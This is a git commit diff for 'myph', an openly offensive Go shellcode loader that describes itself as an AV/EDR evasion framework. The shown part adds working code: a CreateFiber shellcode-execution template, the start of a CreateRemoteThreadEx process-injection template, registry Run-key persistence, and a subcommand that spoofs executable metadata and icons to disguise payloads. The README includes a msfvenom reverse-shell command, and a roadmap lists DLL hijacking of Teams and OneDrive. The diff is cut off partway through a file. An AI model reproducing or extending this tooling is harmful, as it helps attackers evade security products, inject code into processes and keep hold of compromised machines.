myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit ba68b7855dde44f2a120cbae9aab920fb488935b
parent 9c2057b53225ff564655c74801d8bab95012968c
Author: djnn <[email protected]>
Date: Wed, 6 Dec 2023 16:57:33 +0100

1.2 release

Diffstat:
A.github/test-data/example.json | 35+++++++++++++++++++++++++++++++++++
A.github/test-data/pwned.ico | 0
A.github/test-data/smersh.png | 0
MMakefile | 2+-
MREADME.md | 116++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
MTODO.txt | 18+++++++++---------
Mcli/defaults.go | 22+++++++++++++---------
Mcli/parser.go | 134+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------
Mcli/types.go | 28++++++++++++++++++++++------
Mgo.mod | 3+++
Mgo.sum | 30++++++++++++++++++++++++++++++
Aloaders/createFiber.go | 66++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aloaders/createRemoteThreadEx.go | 109+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mloaders/createThread.go | 3+--
Aloaders/enumcalendarinfoa.go | 59+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aloaders/etwpCreateEtwThread.go | 73+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mloaders/processHollowing.go | 4----
Mloaders/syscall.go | 4+---
Mloaders/utils.go | 18++++++++++++++++++
Arc/fromJson.go | 383+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Atools/persist.go | 114+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mtools/utils.go | 30++++++++++++++++++++++++------

22 files changed, 1188 insertions(+), 63 deletions(-)

diff --git a/.github/test-data/example.json b/.github/test-data/example.json
@@ -0,0 +1,35 @@
+{
+    "RT_GROUP_ICON": {
+        "APP": {
+            "0000": [
+                "smersh.png"
+            ]
+        },
+        "#42": {
+            "040C": "pwned.ico"
+        }
+    },
+    "RT_MANIFEST": {
+        "#1": {
+            "0409": {}
+        }
+    },
+    "RT_VERSION": {
+        "#1": {
+            "0409": {
+                "info": {
+                    "0409": {
+                        "FileDescription": "golang shellcode loader",
+                        "InternalName": "myph",
+                        "LegalCopyright": "CMEPW -- GPLv3",
+                        "OriginalFilename": "payload.exe",
+                        "ProductName": "myph-payload",
+                        "ProductVersion": "1.0",
+                        "FileVersion": "1.0",
+                        "Comments": "Ca devrait le faire"
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/.github/test-data/pwned.ico b/.github/test-data/pwned.ico
Binary files differ.
diff --git a/.github/test-data/smersh.png b/.github/test-data/smersh.png
Binary files differ.
diff --git a/Makefile b/Makefile
@@ -2,7 +2,7 @@
 # -------------------
 
 APP_NAME = myph
-APP_VERSION = 1.1.0
+APP_VERSION = 1.2.0
 GIT_REVISION = `git rev-parse HEAD`
 DOCKER_IMAGE_TAG ?= $(APP_VERSION)
 DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
diff --git a/README.md b/README.md
@@ -38,34 +38,69 @@ go install github.com/cmepw/myph@latest
 
 ### Usage
 
-```bash
+```
+
+              ...                                        -==[ M Y P H ]==-
+             ;::::;
+           ;::::; :;                                    In loving memory of
+         ;:::::'   :;                               Wassyl Iaroslavovytch Slipak
+        ;:::::;     ;.
+       ,:::::'       ;           OOO                       (1974 - 2016)
+       ::::::;       ;          OOOOO
+       ;:::::;       ;         OOOOOOOO
+      ,;::::::;     ;'         / OOOOOOO
+    ;::::::::: . ,,,;.        /  / DOOOOOO
+  .';:::::::::::::::::;,     /  /     DOOOO
+ ,::::::;::::::;;;;::::;,   /  /        DOOO        AV / EDR evasion framework
+; :::::: '::::::;;;::::: ,#/  /          DOOO           to pop shells and
+: ::::::: ;::::::;;::: ;::#  /            DOOO        make the blue team cry
+:: ::::::: ;:::::::: ;::::# /              DOO
+ : ::::::: ;:::::: ;::::::#/               DOO
+ ::: ::::::: ;; ;:::::::::##                OO       written with <3 by djnn
+ :::: ::::::: ;::::::::;:::#                OO                ------
+ ::::: ::::::::::::;' :;::#                O             https://djnn.sh
+   ::::: ::::::::;  /  /  :#
+   :::::: :::::;   /  /    #
+
 Usage:
   myph [flags]
+  myph [command]
+
+Available Commands:
+  completion  Generate the autocompletion script for the specified shell
+  help        Help about any command
+  spoof       spoof PE metadata using versioninfo
 
 Flags:
+  -b, --builtype string      define the output type (allowed: exe, dll) (default "exe")
   -e, --encryption encKind   encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
   -h, --help                 help for myph
   -k, --key string           encryption key, auto-generated if empty. (if used by --encryption)
   -f, --out string           output name (default "payload.exe")
+  -z, --persistence string   name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
   -p, --process string       target process to inject shellcode to (default "cmd.exe")
   -s, --shellcode string     shellcode path (default "msf.raw")
       --sleep-time uint      sleep time in seconds before executing loader (default: 0)
-  -t, --technique string     shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
+  -t, --technique string     shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp) (default "CRT")
   -v, --version              version for myph
 ```
 
-#### Methods
+#### Loader Methods
 
 This tool supports few methods for now, but aims to add more as time goes on:
-- CreateThread
-- CreateRemoteThread
 - Syscall
+- CreateFiber
+- CreateThread
 - Process hollowing
+- EnumCalendarInfoA
+- CreateRemoteThread
+- EtwpCreateEtwThread
+- CreateRemoteThreadEx
 
 If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
 
 
-#### Example
+#### Example run
 
 Generate a payload like so:
 
@@ -78,6 +113,9 @@ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o ms
 
 # you should find your payload here
 file ./something.exe
+
+# add some program metada
+./myph spoof --pe something.exe --file .github/test-data/example.json
 ```
 
 #### Using docker
@@ -90,6 +128,72 @@ make docker
 docker build . -t myph:latest
 ```
 
+#### Editing file properties
+
+A subcommand is available to edit a PE file's properties & change its icon or file version (for instance).
+For more information on CLI usage, you can run:
+```bash
+# will give you a little help display
+./myph spoof --help
+
+# will edit demo.exe with the data specified in example.json
+./myph spoof --pe demo.exe --file example.json
+```
+
+It expects a JSON file, containing the metadata you want to set. You can find an example in `.github/test-data` directory.
+
+Information on resource types and language IDs can be found [here](https://learn.microsoft.com/en-us/windows/win32/menurc/resource-types) and [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/70feba9f-294e-491e-b6eb-56532684c37f).
+
+You can set data depending on the language.
+BMP, ICO, and PNG files are supported, and you can a wide array of information:
+
+```json
+{
+  "RT_VERSION": {
+    "#1": {
+      "0000": {
+        "fixed": {
+          "file_version": "1.2",
+          "product_version": "1.2.3",
+          "flags": "Debug,Patched",
+          "timestamp": "2020-12-18T23:00:00+01:00"
+        },
+        "info": {
+          "0409": {
+            "Comments": "that should do it",
+            "CompanyName": "Smersh",
+            "FileDescription": "smrsh 4 evr",
+            "FileVersion": "1.2",
+            "InternalName": "",
+            "LegalCopyright": "GNU GPL v3",
+            "LegalTrademarks": "",
+            "OriginalFilename": "myph.exe",
+            "PrivateBuild": "",
+            "ProductName": "myph ldr",
+            "ProductVersion": "1.2 release",
+            "SpecialBuild": ""
+          },
+          "040C": {
+            "Comments": "ca devrait le faire",
+            "CompanyName": "Smersh",
+            "FileDescription": "smrh pr tjrs",
+            "FileVersion": "1.2",
+            "InternalName": "",
+            "LegalCopyright": "GNU GPL v3",
+            "LegalTrademarks": "",
+            "OriginalFilename": "myph.exe",
+            "PrivateBuild": "",
+            "ProductName": "myph ldr",
+            "ProductVersion": "1.2 release",
+            "SpecialBuild": ""
+          }
+        }
+      }
+    }
+  }
+}
+```
+
 ### Contributing
 
 Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
diff --git a/TODO.txt b/TODO.txt
@@ -2,19 +2,14 @@
 ####### ROADMAP 1.2.0 #######
 #############################
 
-Templates:
-    - CreateRemoteThreadEx
-    - CreateFiber
-    - EtwpCreateEtwThread
-
 Misc:
-    - support for loading modules from PEB
-    - Research indirect syscalls
+    - support for loading API calls from PEB
     - Refactoring CLI options to interfaces
     - Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
 
-Commands:
-    - Add support for GoVersionInfo
+
+Encoders:
+    - add support for SGN
 
 
 #############################
@@ -27,7 +22,12 @@ Commands:
 Sleep / jitter:
     - Ekko
 
+
+dll:
+    - hijacking techniques (teams/onedrive)
+
 Misc:
     - indirect syscalls
     - support for dameonizing ?
     - introduce ppid spoofing ?
+    - add support for passing arguments to payload from command-line
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,15 +7,19 @@ import (
 // Get default value for Options struct
 func GetDefaultCLIOptions() Options {
 	opts := Options{
-		ShellcodePath: "msf.raw",
-		OutName:       "payload.exe",
-		OS:            "windows",
-		Arch:          "amd64",
-		Target:        "cmd.exe",
-		Encryption:    EncKindAES,
-		Key:           "",
-		Technique:     "CRT",
-		SleepTime:     0,
+		ShellcodePath:   "msf.raw",
+		OutName:         "payload.exe",
+		OS:              "windows",
+		Arch:            "amd64",
+		Target:          "cmd.exe",
+		Encryption:      EncKindAES,
+		Key:             "",
+		Technique:       "CRT",
+		SleepTime:       0,
+		PEFilePath:      "payload.exe",
+		VersionFilePath: "goversion.json",
+		BuildType:       "exe",
+		Persistence:     "",
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -4,14 +4,17 @@ import (
 	"fmt"
 	"os"
 	"os/exec"
+	"path/filepath"
 
 	"github.com/cmepw/myph/loaders"
+	"github.com/cmepw/myph/rc"
 	"github.com/cmepw/myph/tools"
 	"github.com/spf13/cobra"
+	"github.com/tc-hib/winres"
 )
 
 const MYPH_TMP_DIR = "/tmp/myph-out"
-const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload.exe"
+const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload."
 
 const ASCII_ART = `
               ...                                        -==[ M Y P H ]==-
@@ -39,10 +42,82 @@ const ASCII_ART = `
 
     `
 
+func BuildLoader(opts *Options) *exec.Cmd {
+	if opts.BuildType == "dll" {
+		os.Setenv("GOOS", opts.OS)
+		os.Setenv("GOARCH", opts.Arch)
+		os.Setenv("CGO_ENABLED", "1")
+		os.Setenv("CC", "x86_64-w64-mingw32-gcc")
+		fmt.Println("[*] Compiling payload as dll...")
+
+		return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".")
+	} else if opts.BuildType == "exe" {
+		fmt.Println("[*] Compiling payload as executable...")
+
+		return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+	} else {
+		fmt.Printf("[!] Buildtype format not supported!")
+		return nil
+	}
+}
+
 func GetParser(opts *Options) *cobra.Command {
 
-	version := "1.1.0"
-	var cmd = &cobra.Command{
+	version := "1.2.0"
+	var spoofMetadata = &cobra.Command{
+		Use:                "spoof",
+		Version:            version,
+		DisableSuggestions: true,
+		Short:              "spoof PE metadata using versioninfo",
+		Long:               ASCII_ART,
+		Run: func(cmd *cobra.Command, args []string) {
+
+			/* obligatory skid ascii art */
+			fmt.Printf("%s\n\n", ASCII_ART)
+
+			exe, err := os.Open(opts.PEFilePath)
+			if err != nil {
+				panic(err)
+			}
+			defer exe.Close()
+
+			rs, err := winres.LoadFromEXE(exe)
+			if err != nil {
+				rs = &winres.ResourceSet{}
+			}
+
+			err = rc.LoadResourcesFromJson(rs, opts.VersionFilePath)
+			if err != nil {
+				panic(err)
+			}
+
+			fmt.Printf("[+] Successfully extracted PE metadata from JSON\n")
+
+			tmpPath := "/tmp/" + filepath.Base(opts.PEFilePath) + ".tmp"
+			out, err := os.Create(tmpPath)
+			if err != nil {
+				panic(err)
+			}
+			defer out.Close()
+
+			err = rs.WriteToEXE(out, exe, winres.WithAuthenticode(winres.IgnoreSignature))
+			if err != nil {
+				panic(err)
+			}
+
+			fmt.Printf("[+] New metadata is set !\n")
+
+			exe.Close()
+			out.Close()
+
+			os.Remove(opts.PEFilePath)
+			tools.MoveFile(tmpPath, opts.PEFilePath)
+
+			fmt.Printf("[+] Done !\n")
+		},
+	}
+
+	var runLoader = &cobra.Command{
 		Use:                "myph",
 		Version:            version,
 		DisableSuggestions: true,
@@ -54,7 +129,7 @@ func GetParser(opts *Options) *cobra.Command {
 			fmt.Printf("%s\n\n", ASCII_ART)
 
 			/* later, we will call "go build" on a golang project, so we need to set up the project tree */
-			err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR)
+			err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR, opts.Persistence)
 			if err != nil {
 				fmt.Printf("[!] Error generating project root: %s\n", err)
 				os.Exit(1)
@@ -149,6 +224,21 @@ func GetParser(opts *Options) *cobra.Command {
 				panic(err)
 			}
 
+			persistData := ""
+			if opts.Persistence != "" {
+				persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence)
+				execCmd := exec.Command("go", "get", "golang.org/x/sys/windows/registry")
+				execCmd.Dir = MYPH_TMP_DIR
+				_, _ = execCmd.Output()
+
+				template = tools.GetPersistTemplate()
+				err = tools.WriteToFile(MYPH_TMP_DIR, "persist.go", template)
+				if err != nil {
+					panic(err)
+				}
+				fmt.Printf("\nUsing persistence technique, file will be installed to %%APPDATA%%\\%s\n", opts.Persistence)
+			}
+
 			/* write main execution template */
 			encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
 			encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
@@ -160,15 +250,14 @@ func GetParser(opts *Options) *cobra.Command {
 					encodedKey,
 					encodedShellcode,
 					opts.SleepTime,
+					persistData,
+					opts.BuildType == "dll",
 				),
 			)
 			if err != nil {
 				panic(err)
 			}
 
-			os.Setenv("GOOS", opts.OS)
-			os.Setenv("GOARCH", opts.Arch)
-
 			templateFunc := loaders.SelectTemplate(opts.Technique)
 			if templateFunc == nil {
 				fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
@@ -181,7 +270,7 @@ func GetParser(opts *Options) *cobra.Command {
 			}
 
 			fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
-			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+			execCmd := BuildLoader(opts)
 			execCmd.Dir = MYPH_TMP_DIR
 
 			_, stderr := execCmd.Output()
@@ -200,7 +289,11 @@ func GetParser(opts *Options) *cobra.Command {
 				os.Exit(1)
 			}
 
-			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
+			format := "exe"
+			if opts.BuildType == "dll" {
+				format = "dll"
+			}
+			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD+format, opts.OutName+"."+format)
 			os.RemoveAll(MYPH_TMP_DIR)
 
 			fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName)
@@ -208,16 +301,23 @@ func GetParser(opts *Options) *cobra.Command {
 	}
 
 	defaults := GetDefaultCLIOptions()
+	var rootCmd = runLoader
+
+	rootCmd.AddCommand(spoofMetadata)
 
-	cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
-	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
-	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
-	cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+	rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
+	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
+	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp)")
+	rootCmd.Flags().StringVarP(&opts.BuildType, "builtype", "b", defaults.BuildType, "define the output type (allowed: exe, dll)")
+	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
+	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
+	rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
 
-	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
-	cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+	spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
+	spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
 
-	cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
+	return rootCmd
 
-	return cmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -14,10 +14,14 @@ const (
 	EncKindBLF encKind = "blowfish"
 	EncKindC20 encKind = "chacha20"
 
-	CRT              technique = "CRT"
-	SYSCALL          technique = "Syscall"
-	CreateThread     technique = "CreateThread"
-	ProcessHollowing technique = "ProcessHollowing"
+	CRT               technique = "CRT"
+	CRTx              technique = "CRTx"
+	ETWP              technique = "Etwp"
+	SYSCALL           technique = "Syscall"
+	CreateFiber       technique = "CreateFiber"
+	CreateThread      technique = "CreateThread"
+	ProcessHollowing  technique = "ProcessHollowing"
+	EnumCalendarInfoA technique = "EnumCalendarInfoA"
 )
 
 // String is used both by fmt.Print and by Cobra in help text
@@ -49,11 +53,11 @@ func (e *technique) String() string {
 // Set must have pointer receiver so it doesn't change the value of a copy
 func (e *technique) Set(v string) error {
 	switch v {
-	case "CreateThread", "CRT", "ProcessHollowing", "Syscall":
+	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "EnumCalendarInfoA", "Etwp":
 		*e = technique(v)
 		return nil
 	default:
-		return errors.New("must be one of \"CRT\", \"Syscall\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"EnumCalendarInfoA\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
 	}
 }
 
@@ -90,4 +94,16 @@ type Options struct {
 
 	// Sleep time before running execution
 	SleepTime uint
+
+	// Registry-Persistence handler
+	Persistence string
+
+	// Goversion filepath
+	VersionFilePath string
+
+	// PE filepath
+	PEFilePath string
+
+	// Build type
+	BuildType string
 }
diff --git a/go.mod b/go.mod
@@ -9,6 +9,9 @@ require (
 
 require (
 	github.com/inconshreveable/mousetrap v1.1.0 // indirect
+	github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
+	github.com/tc-hib/winres v0.2.0 // indirect
+	golang.org/x/image v0.1.0 // indirect
 	golang.org/x/sys v0.10.0 // indirect
 )
diff --git a/go.sum b/go.sum
@@ -1,14 +1,44 @@
 github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
 github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
 github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
 github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
 github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
 github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
 github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
 github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/tc-hib/winres v0.2.0 h1:gly/ivDWGvlhl7ENtEmA7wPQ6dWab1LlLq/DgcZECKE=
+github.com/tc-hib/winres v0.2.0/go.mod h1:uG6S5M2Q0/kThoqsCSYvGJODUQP9O9R0SNxUPmFIegw=
+github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
 golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
 golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/image v0.1.0 h1:r8Oj8ZA2Xy12/b5KZYj3tuv7NG/fBz3TwQVvpJ9l8Rk=
+golang.org/x/image v0.1.0/go.mod h1:iyPr49SD/G/TBxYVB/9RRtGUT5eNbo2u4NamWeQcD5c=
+golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
 golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loaders/createFiber.go b/loaders/createFiber.go
@@ -0,0 +1,66 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetCreateFiberTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	return fmt.Sprintf(`
+package main
+
+import (
+	"os"
+	"unsafe"
+    "syscall"
+)
+
+const (
+	MEM_COMMIT          = 0x1000
+	MEM_RESERVE         = 0x2000
+	PAGE_EXECUTE_READ   = 0x20
+	PAGE_READWRITE      = 0x04
+)
+
+
+var (
+    kernel32            = syscall.MustLoadDLL("kernel32.dll")
+    ntdll               = syscall.MustLoadDLL("ntdll.dll")
+
+	VirtualAlloc            = kernel32.MustFindProc("VirtualAlloc")
+	VirtualProtect          = kernel32.MustFindProc("VirtualProtect")
+	ConvertThreadToFiber    = kernel32.MustFindProc("ConvertThreadToFiber")
+	CreateFiber             = kernel32.MustFindProc("CreateFiber")
+	SwitchToFiber           = kernel32.MustFindProc("SwitchToFiber")
+    RtlCopyMemory           = ntdll.MustFindProc("RtlCopyMemory")
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+    /* convert main thread to fiber */
+	fiberAddr, _, _ := ConvertThreadToFiber.Call()
+    if fiberAddr == 0 {
+        os.Exit(1)
+    }
+
+    /* allocate memory for the shellcode with VirtualAlloc & set the correct permissions */
+	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+    if addr == 0 {
+        os.Exit(1)
+    }
+
+    /* copy shellcode to allocated space */
+	_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+
+    /* change memory permissions so that it can execute */
+	oldProtect := PAGE_READWRITE
+	_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+
+    /* call CreateFiber & switch to the fiber to execute the payload */
+    fiber, _, _ := CreateFiber.Call(0, addr, 0)
+	_, _, _ = SwitchToFiber.Call(fiber)
+
+}
+    `)
+}
diff --git a/loaders/createRemoteThreadEx.go b/loaders/createRemoteThreadEx.go
@@ -0,0 +1,109 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetCRTxTemplate(targetProcess string) string {
+	return fmt.Sprintf(`
+package main
+
+import (
+    "syscall"
+    "unsafe"
+)
+
+
+const (
+    MEM_COMMIT                = 0x1000
+    MEM_RESERVE               = 0x2000
+    PAGE_READWRITE            = 0x4
+    PAGE_EXECUTE_READ         = 0x20
+    PAGE_EXECUTE_READWRITE    = 0x40
+    CREATE_SUSPENDED          = 0x4
+    CREATE_NO_WINDOW          = 0x8000000
+)
+
+var (
+    kernel32            = syscall.MustLoadDLL("kernel32.dll")
+
+	VirtualAllocEx          = kernel32.MustFindProc("VirtualAllocEx")
+	VirtualProtectEx        = kernel32.MustFindProc("VirtualProtectEx")
+	WriteProcessMemory      = kernel32.MustFindProc("WriteProcessMemory")
+	CreateRemoteThreadEx    = kernel32.MustFindProc("CreateRemoteThreadEx")
+)
+
+func loadProcess(target string) *syscall.ProcessInformation {
+    var si syscall.StartupInfo
+	var pi syscall.ProcessInformation
+
